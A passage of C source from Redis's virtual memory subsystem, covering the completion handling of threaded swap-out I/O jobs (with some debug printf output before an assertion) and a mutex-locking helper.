                 * a fork()ed Redis trying to save stuff on disk. */
                j->val->storage = REDIS_VM_MEMORY; /* undo operation */
                freeIOJob(j);
            } else {
                /* Note that we need to mark this pages as used now,
                 * if the job will be canceled, we'll mark them as freed
                 * again. */
                vmMarkPagesUsed(j->page,j->pages);
                j->type = REDIS_IOJOB_DO_SWAP;
                lockThreadedIO();
                queueIOJob(j);
                unlockThreadedIO();
            }
        } else if (j->type == REDIS_IOJOB_DO_SWAP) {
            vmpointer *vp;

            /* Key swapped. We can finally free some memory. */
            if (j->val->storage != REDIS_VM_SWAPPING) {
                vmpointer *vp = (vmpointer*) j->id;
                printf("storage: %d\n",vp->storage);
                printf("key->name: %s\n",(char*)j->key->ptr);
                printf("val: %p\n",(void*)j->val);
                printf("val->type: %d\n",j->val->type);
                printf("val->ptr: %s\n",(char*)j->val->ptr);
            }
            redisAssert(j->val->storage == REDIS_VM_SWAPPING);
            vp = createVmPointer(j->val);
            vp->page = j->page;
            vp->usedpages = j->pages;
            dictGetEntryVal(de) = vp;
            /* Fix the storage otherwise decrRefCount will attempt to
             * remove the associated I/O job */
            j->val->storage = REDIS_VM_MEMORY;
            decrRefCount(j->val);
            redisLog(REDIS_DEBUG,
                "VM: object %s swapped out at %lld (%lld pages) (threaded)",
                (unsigned char*) j->key->ptr,
                (unsigned long long) j->page, (unsigned long long) j->pages);
            server.vm_stats_swapped_objects++;
            server.vm_stats_swapouts++;
            freeIOJob(j);
            /* Put a few more swap requests in queue if we are still
             * out of memory */
            if (trytoswap && vmCanSwapOut() &&
                zmalloc_used_memory() > server.vm_max_memory)
            {
                int more = 1;
                while(more) {
                    lockThreadedIO();
                    more = listLength(server.io_newjobs) <
                            (unsigned) server.vm_max_threads;
                    unlockThreadedIO();
                    /* Don't waste CPU time if swappable objects are rare. */
                    if (vmSwapOneObjectThreaded() == REDIS_ERR) {
                        trytoswap = 0;
                        break;
                    }
                }
            }
        }
        processed++;
        if (processed == toprocess) return;
    }
    if (retval < 0 && errno != EAGAIN) {
        redisLog(REDIS_WARNING,
            "WARNING: read(2) error in vmThreadedIOCompletedJob() %s",
            strerror(errno));
    }
}

void lockThreadedIO(void) {
    pthread_mutex_lock(&server.io_mutex);
}